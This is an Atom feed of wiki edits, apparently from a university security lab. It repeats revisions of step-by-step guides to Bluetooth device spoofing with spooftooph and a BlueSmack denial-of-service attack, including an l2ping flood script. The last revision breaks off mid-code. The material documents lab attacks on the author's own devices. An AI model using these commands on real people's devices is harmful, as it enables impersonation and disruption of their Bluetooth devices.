<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=MKhreis</id>
	<title>Elvis Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=MKhreis"/>
	<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php/Special:Contributions/MKhreis"/>
	<updated>2026-09-10T20:08:26Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.41.5</generator>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Bluetooth_Spoofing&amp;diff=13238</id>
		<title>Bluetooth Spoofing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Bluetooth_Spoofing&amp;diff=13238"/>
		<updated>2023-12-31T13:43:29Z</updated>

		<summary type="html">&lt;p&gt;MKhreis: Created page with &amp;quot;== Summary ==   Bluetooth spoofing is a type of attack in which an attacker impersonates Bluetooth devices or their identifiers for malicious purposes. The goal of Bluetooth spoofing can vary, but it often involves attempting to deceive or gain unauthorized access to other Bluetooth-enabled devices or networks.   == Requirements ==  * A Bluetooth-enabled Kali Linux computer to perform the attack ** With a CSR Bluetooth Adapter * Target Bluetooth device * A Bluetooth-enab...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Bluetooth spoofing is a type of attack in which an attacker impersonates Bluetooth devices or their identifiers for malicious purposes. The goal of Bluetooth spoofing can vary, but it often involves attempting to deceive or gain unauthorized access to other Bluetooth-enabled devices or networks. &lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* A Bluetooth-enabled Kali Linux computer to perform the attack&lt;br /&gt;
** With a CSR Bluetooth Adapter&lt;br /&gt;
* Target Bluetooth device&lt;br /&gt;
* A Bluetooth-enabled device to monitor if the attack worked&lt;br /&gt;
&lt;br /&gt;
It is important to use a USB Bluetooth adapter from the manufacturer Cambridge Silicon Radio (CSR). Many manufacturers’ chipsets are not supported by the Bluez tool (including Realtek and Broadcom). Bluez is needed to carry out the attack. An unsupported chipset leads to spooftooph’s address spoofing not working, making it impossible to spoof the address. In this case the terminal will only print the message ”Unsupported manufacturer”.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Activate your Bluetooth Interface ===&lt;br /&gt;
&lt;br /&gt;
First, if using an external Bluetooth dongle, it is necessary to list the USB devices connected to the attacking computer. This can be done with the following command:&lt;br /&gt;
 lsusb&lt;br /&gt;
&lt;br /&gt;
Then, to look up information about the connected Bluetooth adapter, the command &amp;quot;hciconfig&amp;quot; can be used. This command shows us a few things, including &lt;br /&gt;
* That the connected adapter is a USB bus,&lt;br /&gt;
* That the adapter is of the type Primary (master),&lt;br /&gt;
* The address of the Bluetooth adapter.&lt;br /&gt;
 hciconfig&lt;br /&gt;
&lt;br /&gt;
To activate the adapter, enter:&lt;br /&gt;
 sudo hciconfig hci0 up&lt;br /&gt;
&lt;br /&gt;
This command is used to activate or bring up the Bluetooth HCI device with the identifier ”hci0” if it is down. Of course, the identifier can vary, so the one listed when using &amp;quot;hciconfig&amp;quot; should be used.&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - Gathering Information ===&lt;br /&gt;
&lt;br /&gt;
&amp;quot;hcitool&amp;quot; is a command-line utility that is part of the BlueZ Bluetooth stack on Linux systems, which provides a way to manage Bluetooth devices and services directly from the command line.&lt;br /&gt;
For gathering information, the scan function can be used. It shows addresses and names of all available Bluetooth devices in proximity.&lt;br /&gt;
 sudo hcitool scan&lt;br /&gt;
&lt;br /&gt;
For more information, an inquiry can also be performed. This shows many things, including the device class of Bluetooth devices. At https://domoticx.com/bluetooth-class-of-device-lijst-cod/, for example, it is possible to look up the given device class to see what kind of device a given device is. This information can be used with Spooftooph to even mimic the device class of the target device. If you are only hacking your own devices, you of course have this information, but an attacker has to acquire that information first, unless the device name is very transparent.&lt;br /&gt;
 sudo hcitool inq&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - Spoofing ===&lt;br /&gt;
Spooftooph is a tool already pre-installed on Kali. It is a tool designed for Bluetooth device spoofing on Linux systems. It allows users to manipulate Bluetooth device information, such as MAC addresses, device names, and device class.&lt;br /&gt;
&lt;br /&gt;
To spoof the address of a device, the following steps need to be carried out:&lt;br /&gt;
* The following command assigns a new given address to hci0. When using a VM, the adapter used is disconnected after executing this command. It has to be manually reconnected. After doing so, continue with the next step.&lt;br /&gt;
 sudo spooftooph -i hci0 -a [address of target device]&lt;br /&gt;
&lt;br /&gt;
* Display the information about your adapter to check whether the address has been successfully changed:&lt;br /&gt;
 sudo hciconfig&lt;br /&gt;
&lt;br /&gt;
* Turn the adapter up again after disconnecting:&lt;br /&gt;
 sudo hciconfig hci0 up&lt;br /&gt;
&lt;br /&gt;
The next step is to make sure the device is discoverable and able to pair with other devices and to spoof the name:&lt;br /&gt;
* Open the interface to interacting with the Bluetooth stack:&lt;br /&gt;
 bluetoothctl&lt;br /&gt;
&lt;br /&gt;
* Turn on your Bluetooth adapter (can be skipped if done before):&lt;br /&gt;
 power on&lt;br /&gt;
&lt;br /&gt;
* Make the local Bluetooth device discoverable, meaning that it can be seen by other Bluetooth devices during the discovery process:&lt;br /&gt;
 discoverable on&lt;br /&gt;
&lt;br /&gt;
* Make the local Bluetooth device pairable, allowing it to accept pairing requests from other devices:&lt;br /&gt;
 pairable on&lt;br /&gt;
&lt;br /&gt;
* Set a new alias for the local Bluetooth controller. This is the step that changes the name of the device as displayed to other devices:&lt;br /&gt;
 system-alias ’[New Device Name]’&lt;br /&gt;
&lt;br /&gt;
The device used now imitates the chosen target device. If I now wanted to connect to the target device from a different device, I could inadvertently connect to the attacker’s device. The attacker now has several options on what to do with this connection.&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
For the execution of this attack, &lt;br /&gt;
* a Kali Linux VM, &lt;br /&gt;
* an Axxtra Bluetooth Dongle, &lt;br /&gt;
* a JBL GO Speaker, and &lt;br /&gt;
* an Android Smartphone were used.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=3yiT_WMlosg&amp;amp;t=1767s&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MKhreis</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Bluetooth_BlueSmack_Attack&amp;diff=13205</id>
		<title>Bluetooth BlueSmack Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Bluetooth_BlueSmack_Attack&amp;diff=13205"/>
		<updated>2023-12-26T13:26:10Z</updated>

		<summary type="html">&lt;p&gt;MKhreis: /* How it works */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
BlueSmack is a Bluetooth-based Denial-of-Service (DoS) attack, in which the victim device is flooded with a high volume of oversized or malformed echo packets with the intent of causing it to crash or become unresponsive. &lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* A Bluetooth-enabled Linux computer to perform the attack&lt;br /&gt;
* A susceptible Bluetooth device &lt;br /&gt;
* A Bluetooth-enabled device to monitor if the attack worked&lt;br /&gt;
&lt;br /&gt;
For the execution of this attack, a Kali Linux VM, a JBL GO Speaker, and an Android Smartphone were used.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Installing Prerequisites ===&lt;br /&gt;
&lt;br /&gt;
Make sure Python is installed:&lt;br /&gt;
&lt;br /&gt;
 sudo apt update&lt;br /&gt;
 sudo apt install python3&lt;br /&gt;
&lt;br /&gt;
You must have &amp;quot;l2ping&amp;quot; and &amp;quot;hcitool&amp;quot; installed. They are installed by default on Kali Linux. Both are part of the bluez package, so if you are not using Kali, run the following command:&lt;br /&gt;
 sudo apt install bluez&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - Activate your Bluetooth Interface ===&lt;br /&gt;
&lt;br /&gt;
”hciconfig -a” shows information about your Bluetooth interface. Here its address and identifier can be found. The identifier is needed for the second command, which will turn the interface up. This is probably either hci0 or hci1.&lt;br /&gt;
 hciconfig -a&lt;br /&gt;
&lt;br /&gt;
This command activates the Bluetooth interface:&lt;br /&gt;
 sudo hciconfig hci0 up&lt;br /&gt;
&lt;br /&gt;
=== Step 3 - The DOS attack ===&lt;br /&gt;
&lt;br /&gt;
The attack script can be cloned using the command below.&lt;br /&gt;
&lt;br /&gt;
 sudo git clone https://github.com/jieggiI/BLUETOOTH-DOS-ATTACK-SCRIPT.git&lt;br /&gt;
&lt;br /&gt;
To perform the attack, you have to go to the directory the script was saved to and execute the py file:&lt;br /&gt;
&lt;br /&gt;
 cd BLUETOOTH-DOS-ATTACK-SCRIPT/&lt;br /&gt;
 python3 Bluetooth-DOS-Attack.py&lt;br /&gt;
&lt;br /&gt;
When executed, the script will perform an hcitool scan to look for nearby devices and list their addresses. This is to make the next step easier.&lt;br /&gt;
&lt;br /&gt;
The script will ask for three inputs:&lt;br /&gt;
* The victim device address&lt;br /&gt;
* The size of the packages sent&lt;br /&gt;
* The thread count&lt;br /&gt;
&lt;br /&gt;
The first parameter can be taken from the scan the script automatically performs when executed. &lt;br /&gt;
The package size can be set in bytes, for this attacks a size of 600 was used.&lt;br /&gt;
The thread count decides how many threads are created to attack concurrently. For this attack, 100 were used.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After entering all three parameters, the threads are set up and then the attack is performed.&lt;br /&gt;
&lt;br /&gt;
You can now use a device like a smartphone to check if the attack is working by trying to connect to the victim device.&lt;br /&gt;
If the attack worked as it should, you are not able to connect to the device anymore.&lt;br /&gt;
&lt;br /&gt;
== How it works ==&lt;br /&gt;
&lt;br /&gt;
The user is prompted for the target device ID or address:&lt;br /&gt;
&lt;br /&gt;
 target_id = input(’Target id or mac &amp;gt; ’)&lt;br /&gt;
 try:&lt;br /&gt;
 target_addr = array[int(target_id)]&lt;br /&gt;
 except:&lt;br /&gt;
 target_addr = target_id&lt;br /&gt;
 if len(target_addr) &amp;lt; 1:&lt;br /&gt;
 print(’[!] ERROR: Target addr is missing’)&lt;br /&gt;
 exit(0)&lt;br /&gt;
&lt;br /&gt;
The user is prompted for the package size that will be sent to the target:&lt;br /&gt;
 try:&lt;br /&gt;
 package_size = int(input(’Package size &amp;gt; ’))&lt;br /&gt;
 except:&lt;br /&gt;
 print(’[!] ERROR: Package size must be an integer’)&lt;br /&gt;
 exit(0)&lt;br /&gt;
&lt;br /&gt;
The user is prompted for the thread count:&lt;br /&gt;
 try:&lt;br /&gt;
 thread_count = int(input(’Thread count &amp;gt; ’))&lt;br /&gt;
 except:&lt;br /&gt;
 print(’[!] ERROR: Thread count must be an integer’)&lt;br /&gt;
 exit(0)&lt;br /&gt;
&lt;br /&gt;
The number of threads the user input defines is created:&lt;br /&gt;
&lt;br /&gt;
 #Create and start multiple threads for the DOS attack&lt;br /&gt;
 for i in range(0, thread_count):&lt;br /&gt;
 print(’[*] Built thread №’ + str(i + 1))&lt;br /&gt;
 threading.Thread(target=DOS, args=[str(target_addr), str(package_size)]).start()&lt;br /&gt;
&lt;br /&gt;
L2ping is used here for flooding the target with packets. The primary purpose of l2ping is to test the connection and latency between two Bluetooth devices. It sends Bluetooth packets to a device and measures the time it takes for the packets to travel to the remote device and back. In the script, the DOS function uses l2ping to perform a Bluetooth DOS attack. The -s option is used to set the size of the ping packets, and the target address is specified as one of the parameters.&lt;br /&gt;
&lt;br /&gt;
 #Function for performing the DOS attack using l2ping&lt;br /&gt;
 def DOS(target_addr, package_size):&lt;br /&gt;
 os.system(’l2ping -i hci0 -s ’ + str(package_size) + ’ -f ’ + target_addr)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=lXLrb1pfnrs&amp;amp;t=1s&lt;br /&gt;
* https://github.com/crypt0b0y/BLUETOOTH-DOS-ATTACK-SCRIPT&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MKhreis</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Bluetooth_BlueSmack_Attack&amp;diff=13204</id>
		<title>Bluetooth BlueSmack Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Bluetooth_BlueSmack_Attack&amp;diff=13204"/>
		<updated>2023-12-26T13:21:27Z</updated>

		<summary type="html">&lt;p&gt;MKhreis: /* Prerequisites */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
BlueSmack is a Bluetooth-based Denial-of-Service (DoS) attack, in which the victim device is flooded with a high volume of oversized or malformed echo packets with the intent of causing it to crash or become unresponsive. &lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* A Bluetooth-enabled Linux computer to perform the attack&lt;br /&gt;
* A susceptible Bluetooth device &lt;br /&gt;
* A Bluetooth-enabled device to monitor if the attack worked&lt;br /&gt;
&lt;br /&gt;
For the execution of this attack, a Kali Linux VM, a JBL GO Speaker, and an Android Smartphone were used.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Installing Prerequisites ===&lt;br /&gt;
&lt;br /&gt;
Make sure Python is installed:&lt;br /&gt;
&lt;br /&gt;
 sudo apt update&lt;br /&gt;
 sudo apt install python3&lt;br /&gt;
&lt;br /&gt;
You must have &amp;quot;l2ping&amp;quot; and &amp;quot;hcitool&amp;quot; installed. They are installed by default on Kali Linux. Both are part of the bluez package, so if you are not using Kali, run the following command:&lt;br /&gt;
 sudo apt install bluez&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - Activate your Bluetooth Interface ===&lt;br /&gt;
&lt;br /&gt;
”hciconfig -a” shows information about your Bluetooth interface. Here its address and identifier can be found. The identifier is needed for the second command, which will turn the interface up. This is probably either hci0 or hci1.&lt;br /&gt;
 hciconfig -a&lt;br /&gt;
&lt;br /&gt;
This command activates the Bluetooth interface:&lt;br /&gt;
 sudo hciconfig hci0 up&lt;br /&gt;
&lt;br /&gt;
=== Step 3 - The DOS attack ===&lt;br /&gt;
&lt;br /&gt;
The attack script can be cloned using the command below.&lt;br /&gt;
&lt;br /&gt;
 sudo git clone https://github.com/jieggiI/BLUETOOTH-DOS-ATTACK-SCRIPT.git&lt;br /&gt;
&lt;br /&gt;
To perform the attack, you have to go to the directory the script was saved to and execute the py file:&lt;br /&gt;
&lt;br /&gt;
 cd BLUETOOTH-DOS-ATTACK-SCRIPT/&lt;br /&gt;
 python3 Bluetooth-DOS-Attack.py&lt;br /&gt;
&lt;br /&gt;
When executed, the script will perform an hcitool scan to look for nearby devices and list their addresses. This is to make the next step easier.&lt;br /&gt;
&lt;br /&gt;
The script will ask for three inputs:&lt;br /&gt;
* The victim device address&lt;br /&gt;
* The size of the packages sent&lt;br /&gt;
* The thread count&lt;br /&gt;
&lt;br /&gt;
The first parameter can be taken from the scan the script automatically performs when executed. &lt;br /&gt;
The package size can be set in bytes, for this attacks a size of 600 was used.&lt;br /&gt;
The thread count decides how many threads are created to attack concurrently. For this attack, 100 were used.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After entering all three parameters, the threads are set up and then the attack is performed.&lt;br /&gt;
&lt;br /&gt;
You can now use a device like a smartphone to check if the attack is working by trying to connect to the victim device.&lt;br /&gt;
If the attack worked as it should, you are not able to connect to the device anymore.&lt;br /&gt;
&lt;br /&gt;
== How it works ==&lt;br /&gt;
&lt;br /&gt;
The user is prompted for the target device ID or address:&lt;br /&gt;
&lt;br /&gt;
 target_id = input(’Target id or mac &amp;gt; ’)&lt;br /&gt;
 try:&lt;br /&gt;
 target_addr = array[int(target_id)]&lt;br /&gt;
 except:&lt;br /&gt;
 target_addr = target_id&lt;br /&gt;
 if len(target_addr) &amp;lt; 1:&lt;br /&gt;
 print(’[!] ERROR: Target addr is missing’)&lt;br /&gt;
 exit(0)&lt;br /&gt;
&lt;br /&gt;
The user is prompted for the package size that will be sent to the target:&lt;br /&gt;
 try:&lt;br /&gt;
 package_size = int(input(’Package size &amp;gt; ’))&lt;br /&gt;
 except:&lt;br /&gt;
 print(’[!] ERROR: Package size must be an integer’)&lt;br /&gt;
 exit(0)&lt;br /&gt;
&lt;br /&gt;
The user is prompted for the thread count:&lt;br /&gt;
 try:&lt;br /&gt;
 thread_count = int(input(’Thread count &amp;gt; ’))&lt;br /&gt;
 except:&lt;br /&gt;
 print(’[!] ERROR: Thread count must be an integer’)&lt;br /&gt;
 exit(0)&lt;br /&gt;
&lt;br /&gt;
The number of threads the user input defines is created:&lt;br /&gt;
&lt;br /&gt;
 # Create and start multiple threads for the DOS attack&lt;br /&gt;
 for i in range(0, thread_count):&lt;br /&gt;
 print(’[*] Built thread №’ + str(i + 1))&lt;br /&gt;
 threading.Thread(target=DOS, args=[str(target_addr), str(package_size)]).start()&lt;br /&gt;
&lt;br /&gt;
L2ping is used here for flooding the target with packets. The primary purpose of l2ping is to test the connection and latency between two Bluetooth devices. It sends Bluetooth packets to a device and measures the time it takes for the packets to travel to the remote device and back. In the script, the DOS function uses l2ping to perform a Bluetooth DOS attack. The -s option is used to set the size of the ping packets, and the target address is specified as one of the parameters.&lt;br /&gt;
&lt;br /&gt;
 #Function for performing the DOS attack using l2ping&lt;br /&gt;
 def DOS(target_addr, package_size):&lt;br /&gt;
 os.system(’l2ping -i hci0 -s ’ + str(package_size) + ’ -f ’ + target_addr)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=lXLrb1pfnrs&amp;amp;t=1s&lt;br /&gt;
* https://github.com/crypt0b0y/BLUETOOTH-DOS-ATTACK-SCRIPT&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MKhreis</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Bluetooth_BlueSmack_Attack&amp;diff=13203</id>
		<title>Bluetooth BlueSmack Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Bluetooth_BlueSmack_Attack&amp;diff=13203"/>
		<updated>2023-12-26T13:21:02Z</updated>

		<summary type="html">&lt;p&gt;MKhreis: /* Requirements */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
BlueSmack is a Bluetooth-based Denial-of-Service (DoS) attack, in which the victim device is flooded with a high volume of oversized or malformed echo packets with the intent of causing it to crash or become unresponsive. &lt;br /&gt;
&lt;br /&gt;
== Prerequisites ==&lt;br /&gt;
&lt;br /&gt;
* A Bluetooth-enabled Linux computer to perform the attack&lt;br /&gt;
* A susceptible Bluetooth device &lt;br /&gt;
* A Bluetooth-enabled device to monitor if the attack worked&lt;br /&gt;
&lt;br /&gt;
For the execution of this attack, a Kali Linux VM, a JBL GO Speaker, and an Android Smartphone were used.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Installing Prerequisites ===&lt;br /&gt;
&lt;br /&gt;
Make sure Python is installed:&lt;br /&gt;
&lt;br /&gt;
 sudo apt update&lt;br /&gt;
 sudo apt install python3&lt;br /&gt;
&lt;br /&gt;
You must have &amp;quot;l2ping&amp;quot; and &amp;quot;hcitool&amp;quot; installed. They are installed by default on Kali Linux. Both are part of the bluez package, so if you are not using Kali, run the following command:&lt;br /&gt;
 sudo apt install bluez&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - Activate your Bluetooth Interface ===&lt;br /&gt;
&lt;br /&gt;
”hciconfig -a” shows information about your Bluetooth interface. Here its address and identifier can be found. The identifier is needed for the second command, which will turn the interface up. This is probably either hci0 or hci1.&lt;br /&gt;
 hciconfig -a&lt;br /&gt;
&lt;br /&gt;
This command activates the Bluetooth interface:&lt;br /&gt;
 sudo hciconfig hci0 up&lt;br /&gt;
&lt;br /&gt;
=== Step 3 - The DOS attack ===&lt;br /&gt;
&lt;br /&gt;
The attack script can be cloned using the command below.&lt;br /&gt;
&lt;br /&gt;
 sudo git clone https://github.com/jieggiI/BLUETOOTH-DOS-ATTACK-SCRIPT.git&lt;br /&gt;
&lt;br /&gt;
To perform the attack, you have to go to the directory the script was saved to and execute the py file:&lt;br /&gt;
&lt;br /&gt;
 cd BLUETOOTH-DOS-ATTACK-SCRIPT/&lt;br /&gt;
 python3 Bluetooth-DOS-Attack.py&lt;br /&gt;
&lt;br /&gt;
When executed, the script will perform an hcitool scan to look for nearby devices and list their addresses. This is to make the next step easier.&lt;br /&gt;
&lt;br /&gt;
The script will ask for three inputs:&lt;br /&gt;
* The victim device address&lt;br /&gt;
* The size of the packages sent&lt;br /&gt;
* The thread count&lt;br /&gt;
&lt;br /&gt;
The first parameter can be taken from the scan the script automatically performs when executed. &lt;br /&gt;
The package size can be set in bytes, for this attacks a size of 600 was used.&lt;br /&gt;
The thread count decides how many threads are created to attack concurrently. For this attack, 100 were used.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After entering all three parameters, the threads are set up and then the attack is performed.&lt;br /&gt;
&lt;br /&gt;
You can now use a device like a smartphone to check if the attack is working by trying to connect to the victim device.&lt;br /&gt;
If the attack worked as it should, you are not able to connect to the device anymore.&lt;br /&gt;
&lt;br /&gt;
== How it works ==&lt;br /&gt;
&lt;br /&gt;
The user is prompted for the target device ID or address:&lt;br /&gt;
&lt;br /&gt;
 target_id = input(’Target id or mac &amp;gt; ’)&lt;br /&gt;
 try:&lt;br /&gt;
 target_addr = array[int(target_id)]&lt;br /&gt;
 except:&lt;br /&gt;
 target_addr = target_id&lt;br /&gt;
 if len(target_addr) &amp;lt; 1:&lt;br /&gt;
 print(’[!] ERROR: Target addr is missing’)&lt;br /&gt;
 exit(0)&lt;br /&gt;
&lt;br /&gt;
The user is prompted for the package size that will be sent to the target:&lt;br /&gt;
 try:&lt;br /&gt;
 package_size = int(input(’Package size &amp;gt; ’))&lt;br /&gt;
 except:&lt;br /&gt;
 print(’[!] ERROR: Package size must be an integer’)&lt;br /&gt;
 exit(0)&lt;br /&gt;
&lt;br /&gt;
The user is prompted for the thread count:&lt;br /&gt;
 try:&lt;br /&gt;
 thread_count = int(input(’Thread count &amp;gt; ’))&lt;br /&gt;
 except:&lt;br /&gt;
 print(’[!] ERROR: Thread count must be an integer’)&lt;br /&gt;
 exit(0)&lt;br /&gt;
&lt;br /&gt;
The number of threads the user input defines is created:&lt;br /&gt;
&lt;br /&gt;
 # Create and start multiple threads for the DOS attack&lt;br /&gt;
 for i in range(0, thread_count):&lt;br /&gt;
 print(’[*] Built thread №’ + str(i + 1))&lt;br /&gt;
 threading.Thread(target=DOS, args=[str(target_addr), str(package_size)]).start()&lt;br /&gt;
&lt;br /&gt;
L2ping is used here for flooding the target with packets. The primary purpose of l2ping is to test the connection and latency between two Bluetooth devices. It sends Bluetooth packets to a device and measures the time it takes for the packets to travel to the remote device and back. In the script, the DOS function uses l2ping to perform a Bluetooth DOS attack. The -s option is used to set the size of the ping packets, and the target address is specified as one of the parameters.&lt;br /&gt;
&lt;br /&gt;
 #Function for performing the DOS attack using l2ping&lt;br /&gt;
 def DOS(target_addr, package_size):&lt;br /&gt;
 os.system(’l2ping -i hci0 -s ’ + str(package_size) + ’ -f ’ + target_addr)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=lXLrb1pfnrs&amp;amp;t=1s&lt;br /&gt;
* https://github.com/crypt0b0y/BLUETOOTH-DOS-ATTACK-SCRIPT&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MKhreis</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Bluetooth_BlueSmack_Attack&amp;diff=13202</id>
		<title>Bluetooth BlueSmack Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Bluetooth_BlueSmack_Attack&amp;diff=13202"/>
		<updated>2023-12-26T13:20:39Z</updated>

		<summary type="html">&lt;p&gt;MKhreis: Explains the BlueSmack attack and how to perform it.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
BlueSmack is a Bluetooth-based Denial-of-Service (DoS) attack, in which the victim device is flooded with a high volume of oversized or malformed echo packets with the intent of causing it to crash or become unresponsive. &lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* A Bluetooth-enabled Linux computer to perform the attack&lt;br /&gt;
* A susceptible Bluetooth device &lt;br /&gt;
* A Bluetooth-enabled device to monitor if the attack worked&lt;br /&gt;
&lt;br /&gt;
For the execution of this attack, a Kali Linux VM, a JBL GO Speaker, and an Android Smartphone were used.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Installing Prerequisites ===&lt;br /&gt;
&lt;br /&gt;
Make sure Python is installed:&lt;br /&gt;
&lt;br /&gt;
 sudo apt update&lt;br /&gt;
 sudo apt install python3&lt;br /&gt;
&lt;br /&gt;
You must have &amp;quot;l2ping&amp;quot; and &amp;quot;hcitool&amp;quot; installed. They are installed by default on Kali Linux. Both are part of the bluez package, so if you are not using Kali, run the following command:&lt;br /&gt;
 sudo apt install bluez&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - Activate your Bluetooth Interface ===&lt;br /&gt;
&lt;br /&gt;
”hciconfig -a” shows information about your Bluetooth interface. Here its address and identifier can be found. The identifier is needed for the second command, which will turn the interface up. This is probably either hci0 or hci1.&lt;br /&gt;
 hciconfig -a&lt;br /&gt;
&lt;br /&gt;
This command activates the Bluetooth interface:&lt;br /&gt;
 sudo hciconfig hci0 up&lt;br /&gt;
&lt;br /&gt;
=== Step 3 - The DOS attack ===&lt;br /&gt;
&lt;br /&gt;
The attack script can be cloned using the command below.&lt;br /&gt;
&lt;br /&gt;
 sudo git clone https://github.com/jieggiI/BLUETOOTH-DOS-ATTACK-SCRIPT.git&lt;br /&gt;
&lt;br /&gt;
To perform the attack, you have to go to the directory the script was saved to and execute the py file:&lt;br /&gt;
&lt;br /&gt;
 cd BLUETOOTH-DOS-ATTACK-SCRIPT/&lt;br /&gt;
 python3 Bluetooth-DOS-Attack.py&lt;br /&gt;
&lt;br /&gt;
When executed, the script will perform an hcitool scan to look for nearby devices and list their addresses. This is to make the next step easier.&lt;br /&gt;
&lt;br /&gt;
The script will ask for three inputs:&lt;br /&gt;
* The victim device address&lt;br /&gt;
* The size of the packages sent&lt;br /&gt;
* The thread count&lt;br /&gt;
&lt;br /&gt;
The first parameter can be taken from the scan the script automatically performs when executed. &lt;br /&gt;
The package size can be set in bytes, for this attacks a size of 600 was used.&lt;br /&gt;
The thread count decides how many threads are created to attack concurrently. For this attack, 100 were used.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After entering all three parameters, the threads are set up and then the attack is performed.&lt;br /&gt;
&lt;br /&gt;
You can now use a device like a smartphone to check if the attack is working by trying to connect to the victim device.&lt;br /&gt;
If the attack worked as it should, you are not able to connect to the device anymore.&lt;br /&gt;
&lt;br /&gt;
== How it works ==&lt;br /&gt;
&lt;br /&gt;
The user is prompted for the target device ID or address:&lt;br /&gt;
&lt;br /&gt;
 target_id = input(’Target id or mac &amp;gt; ’)&lt;br /&gt;
 try:&lt;br /&gt;
 target_addr = array[int(target_id)]&lt;br /&gt;
 except:&lt;br /&gt;
 target_addr = target_id&lt;br /&gt;
 if len(target_addr) &amp;lt; 1:&lt;br /&gt;
 print(’[!] ERROR: Target addr is missing’)&lt;br /&gt;
 exit(0)&lt;br /&gt;
&lt;br /&gt;
The user is prompted for the package size that will be sent to the target:&lt;br /&gt;
 try:&lt;br /&gt;
 package_size = int(input(’Package size &amp;gt; ’))&lt;br /&gt;
 except:&lt;br /&gt;
 print(’[!] ERROR: Package size must be an integer’)&lt;br /&gt;
 exit(0)&lt;br /&gt;
&lt;br /&gt;
The user is prompted for the thread count:&lt;br /&gt;
 try:&lt;br /&gt;
 thread_count = int(input(’Thread count &amp;gt; ’))&lt;br /&gt;
 except:&lt;br /&gt;
 print(’[!] ERROR: Thread count must be an integer’)&lt;br /&gt;
 exit(0)&lt;br /&gt;
&lt;br /&gt;
The number of threads the user input defines is created:&lt;br /&gt;
&lt;br /&gt;
 # Create and start multiple threads for the DOS attack&lt;br /&gt;
 for i in range(0, thread_count):&lt;br /&gt;
 print(’[*] Built thread №’ + str(i + 1))&lt;br /&gt;
 threading.Thread(target=DOS, args=[str(target_addr), str(package_size)]).start()&lt;br /&gt;
&lt;br /&gt;
L2ping is used here for flooding the target with packets. The primary purpose of l2ping is to test the connection and latency between two Bluetooth devices. It sends Bluetooth packets to a device and measures the time it takes for the packets to travel to the remote device and back. In the script, the DOS function uses l2ping to perform a Bluetooth DOS attack. The -s option is used to set the size of the ping packets, and the target address is specified as one of the parameters.&lt;br /&gt;
&lt;br /&gt;
 #Function for performing the DOS attack using l2ping&lt;br /&gt;
